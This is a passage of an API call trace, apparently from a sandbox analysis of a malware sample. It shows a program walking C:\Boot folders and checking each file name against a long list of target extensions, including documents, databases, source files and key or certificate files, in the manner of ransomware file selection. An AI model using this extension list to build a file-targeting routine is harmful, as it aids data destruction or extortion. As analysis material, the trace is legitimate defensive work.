lstrlenW (lpString=".m4a") returned 4 [0060.940] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".m4v") returned 4 [0060.940] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".max") returned 4 [0060.940] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".md") returned 3 [0060.940] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0060.940] lstrlenW (lpString=".mda") returned 4 [0060.940] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".mdb") returned 4 [0060.940] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".mde") returned 4 [0060.940] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".mdf") returned 4 [0060.940] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".mdw") returned 4 [0060.940] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0060.940] lstrlenW (lpString=".mef") returned 4 [0060.941] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mft") returned 4 [0060.941] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mfw") returned 4 [0060.941] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mht") returned 4 [0060.941] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mhtml") returned 6 [0060.941] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0060.941] lstrlenW (lpString=".mka") returned 4 [0060.941] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mkidx") returned 6 [0060.941] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0060.941] lstrlenW (lpString=".mkv") returned 4 [0060.941] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mos") returned 4 [0060.941] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mov") returned 4 [0060.941] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mp3") returned 4 [0060.941] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mp4") returned 4 [0060.941] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mpeg") returned 5 [0060.941] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0060.941] lstrlenW (lpString=".mpg") returned 4 [0060.941] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mpv") returned 4 [0060.941] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".mrw") returned 4 [0060.941] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0060.941] lstrlenW (lpString=".msg") returned 4 [0060.941] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0060.942] lstrlenW (lpString=".mxl") returned 4 [0060.942] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".myd") returned 4 [0060.942] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".myi") returned 4 [0060.942] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".nef") returned 4 [0060.942] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".nrw") returned 4 [0060.942] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".obj") returned 4 [0060.942] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".odb") returned 4 [0060.942] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".odc") returned 4 [0060.942] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".odm") returned 4 [0060.942] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".odp") returned 4 [0060.942] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".ods") returned 4 [0060.942] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".oft") returned 4 [0060.942] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".one") returned 4 [0060.942] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".onepkg") returned 7 [0060.942] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0060.942] lstrlenW (lpString=".onetoc2") returned 8 [0060.942] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0060.942] lstrlenW (lpString=".opt") returned 4 [0060.942] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".oqy") returned 4 [0060.942] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0060.942] lstrlenW (lpString=".orf") returned 4 [0060.942] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".p12") returned 4 [0060.943] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".p7b") returned 4 [0060.943] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".p7c") returned 4 [0060.943] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pam") returned 4 [0060.943] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pbm") returned 4 [0060.943] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pct") returned 4 [0060.943] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pcx") returned 4 [0060.943] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pdd") returned 4 [0060.943] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pdf") returned 4 [0060.943] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pdp") returned 4 [0060.943] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pef") returned 4 [0060.943] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pem") returned 4 [0060.943] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pff") returned 4 [0060.943] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pfm") returned 4 [0060.943] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pfx") returned 4 [0060.943] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".pgm") returned 4 [0060.943] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0060.943] lstrlenW (lpString=".php") returned 4 [0060.943] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0060.944] lstrlenW (lpString=".php3") returned 5 [0060.944] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0060.944] lstrlenW (lpString=".php4") returned 5 [0060.944] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0060.944] lstrlenW (lpString=".php5") returned 5 [0060.944] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0060.944] lstrlenW (lpString=".phtml") returned 6 [0060.944] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0060.944] lstrlenW (lpString=".pict") returned 5 [0060.944] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0060.944] lstrlenW (lpString=".pl") returned 3 [0060.944] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0060.944] lstrlenW (lpString=".pls") returned 4 [0060.944] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0060.944] lstrlenW (lpString=".pm") returned 3 [0060.944] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0060.944] lstrlenW (lpString=".png") returned 4 [0060.944] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0060.944] lstrlenW (lpString=".pnm") returned 4 [0060.944] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0060.944] lstrlenW (lpString=".pot") returned 4 [0060.944] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0060.944] lstrlenW (lpString=".potm") returned 5 [0060.944] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0060.944] lstrlenW (lpString=".potx") returned 5 [0060.944] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0060.944] lstrlenW (lpString=".ppa") returned 4 [0060.944] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0060.944] lstrlenW (lpString=".ppam") returned 5 [0060.944] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0060.944] lstrlenW (lpString=".ppm") returned 4 [0060.944] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0060.944] lstrlenW (lpString=".pps") returned 4 [0060.944] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0060.944] lstrlenW (lpString=".ppsm") returned 5 [0060.944] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0060.944] lstrlenW (lpString=".ppt") returned 4 [0060.945] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.945] lstrlenW (lpString=".pptm") returned 5 [0060.945] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0060.945] lstrlenW (lpString=".pptx") returned 5 [0060.945] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0060.945] lstrlenW (lpString=".prn") returned 4 [0060.945] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0060.945] lstrlenW (lpString=".ps") returned 3 [0060.945] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0060.945] lstrlenW (lpString=".psb") returned 4 [0060.945] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0060.945] lstrlenW (lpString=".psd") returned 4 [0060.945] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0060.945] lstrlenW (lpString=".pst") returned 4 [0060.945] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0060.945] lstrlenW (lpString=".ptx") returned 4 [0060.945] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0060.945] lstrlenW (lpString=".pub") returned 4 [0060.945] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0060.946] lstrlenW (lpString=".pwm") returned 4 [0060.946] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0060.946] lstrlenW (lpString=".pxr") returned 4 [0060.946] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0060.946] lstrlenW (lpString=".py") returned 3 [0060.946] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0060.946] lstrlenW (lpString=".qt") returned 3 [0060.946] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0060.946] lstrlenW (lpString=".r3d") returned 4 [0060.946] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0060.946] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.947] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.947] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.947] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0060.947] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.947] lstrlenW (lpString="C:\\Boot\\tr-TR") returned 13 [0060.947] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a5280 [0062.332] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.332] FindNextFileW (in: hFindFile=0x5a5280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.360] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0062.360] lstrlenW (lpString=".1cd") returned 4 [0062.361] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".3ds") returned 4 [0062.361] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".3fr") returned 4 [0062.361] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".3g2") returned 4 [0062.361] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".3gp") returned 4 [0062.361] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".7z") returned 3 [0062.361] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.361] lstrlenW (lpString=".accda") returned 6 [0062.361] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0062.361] lstrlenW (lpString=".accdb") returned 6 [0062.361] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0062.361] lstrlenW (lpString=".accdc") returned 6 [0062.361] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0062.361] lstrlenW (lpString=".accde") returned 6 [0062.361] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0062.361] lstrlenW (lpString=".accdt") returned 6 [0062.361] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0062.361] lstrlenW (lpString=".accdw") returned 6 [0062.361] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0062.361] lstrlenW (lpString=".adb") returned 4 [0062.361] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".adp") returned 4 [0062.361] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".ai") returned 3 [0062.361] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0062.361] lstrlenW (lpString=".ai3") returned 4 [0062.361] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".ai4") returned 4 [0062.361] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0062.361] lstrlenW (lpString=".ai5") returned 4 [0062.361] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".ai6") returned 4 [0062.362] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".ai7") returned 4 [0062.362] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".ai8") returned 4 [0062.362] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".anim") returned 5 [0062.362] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0062.362] lstrlenW (lpString=".arw") returned 4 [0062.362] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".as") returned 3 [0062.362] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0062.362] lstrlenW (lpString=".asa") returned 4 [0062.362] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".asc") returned 4 [0062.362] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".ascx") returned 5 [0062.362] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0062.362] lstrlenW (lpString=".asm") returned 4 [0062.362] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".asmx") returned 5 [0062.362] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0062.362] lstrlenW (lpString=".asp") returned 4 [0062.362] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".aspx") returned 5 [0062.362] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0062.362] lstrlenW (lpString=".asr") returned 4 [0062.362] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".asx") returned 4 [0062.362] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".avi") returned 4 [0062.362] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".avs") returned 4 [0062.362] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0062.362] lstrlenW (lpString=".backup") returned 7 [0062.362] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0062.363] lstrlenW (lpString=".bak") returned 4 [0062.363] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".bay") returned 4 [0062.363] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".bd") returned 3 [0062.363] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0062.363] lstrlenW (lpString=".bin") returned 4 [0062.363] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".bmp") returned 4 [0062.363] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".bz2") returned 4 [0062.363] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".c") returned 2 [0062.363] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0062.363] lstrlenW (lpString=".cdr") returned 4 [0062.363] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".cer") returned 4 [0062.363] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".cf") returned 3 [0062.363] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0062.363] lstrlenW (lpString=".cfc") returned 4 [0062.363] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".cfm") returned 4 [0062.363] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".cfml") returned 5 [0062.363] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0062.363] lstrlenW (lpString=".cfu") returned 4 [0062.363] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".chm") returned 4 [0062.363] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".cin") returned 4 [0062.363] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0062.363] lstrlenW (lpString=".class") returned 6 [0062.363] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0062.363] lstrlenW (lpString=".clx") returned 4 [0062.363] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".config") returned 7 [0062.364] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0062.364] lstrlenW (lpString=".cpp") returned 4 [0062.364] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".cr2") returned 4 [0062.364] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".crt") returned 4 [0062.364] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".crw") returned 4 [0062.364] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".cs") returned 3 [0062.364] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0062.364] lstrlenW (lpString=".css") returned 4 [0062.364] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".csv") returned 4 [0062.364] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".cub") returned 4 [0062.364] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".dae") returned 4 [0062.364] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".dat") returned 4 [0062.364] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".db") returned 3 [0062.364] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0062.364] lstrlenW (lpString=".dbf") returned 4 [0062.364] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".dbx") returned 4 [0062.364] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".dc3") returned 4 [0062.364] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".dcm") returned 4 [0062.364] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0062.364] lstrlenW (lpString=".dcr") returned 4 [0062.364] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0062.365] lstrlenW (lpString=".der") returned 4 [0062.365] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0062.365] lstrlenW (lpString=".dib") returned 4 [0062.365] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0062.365] lstrlenW (lpString=".dic") returned 4 [0062.365] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0062.366] lstrlenW (lpString=".dif") returned 4 [0062.366] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0062.366] lstrlenW (lpString=".divx") returned 5 [0062.366] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0062.366] lstrlenW (lpString=".djvu") returned 5 [0062.366] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0062.366] lstrlenW (lpString=".dng") returned 4 [0062.366] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0062.366] lstrlenW (lpString=".doc") returned 4 [0062.366] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.366] lstrlenW (lpString=".docm") returned 5 [0062.366] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0062.366] lstrlenW (lpString=".docx") returned 5 [0062.366] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0062.366] lstrlenW (lpString=".dot") returned 4 [0062.366] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0062.366] lstrlenW (lpString=".dotm") returned 5 [0062.366] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0062.366] lstrlenW (lpString=".dotx") returned 5 [0062.366] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0062.366] lstrlenW (lpString=".dpx") returned 4 [0062.366] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".dqy") returned 4 [0062.367] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".dsn") returned 4 [0062.367] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".dt") returned 3 [0062.367] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0062.367] lstrlenW (lpString=".dtd") returned 4 [0062.367] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".dwg") returned 4 [0062.367] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".dwt") returned 4 [0062.367] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".dx") returned 3 [0062.367] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0062.367] lstrlenW (lpString=".dxf") returned 4 [0062.367] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".edml") returned 5 [0062.367] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0062.367] lstrlenW (lpString=".efd") returned 4 [0062.367] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".elf") returned 4 [0062.367] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".emf") returned 4 [0062.367] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".emz") returned 4 [0062.367] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".epf") returned 4 [0062.367] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".eps") returned 4 [0062.367] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0062.367] lstrlenW (lpString=".epsf") returned 5 [0062.367] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0062.367] lstrlenW (lpString=".epsp") returned 5 [0062.367] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0062.368] lstrlenW (lpString=".erf") returned 4 [0062.368] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".exr") returned 4 [0062.368] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".f4v") returned 4 [0062.368] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".fido") returned 5 [0062.368] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0062.368] lstrlenW (lpString=".flm") returned 4 [0062.368] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".flv") returned 4 [0062.368] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0062.368] lstrlenW (lpString=".frm") returned 4 [0062.368] 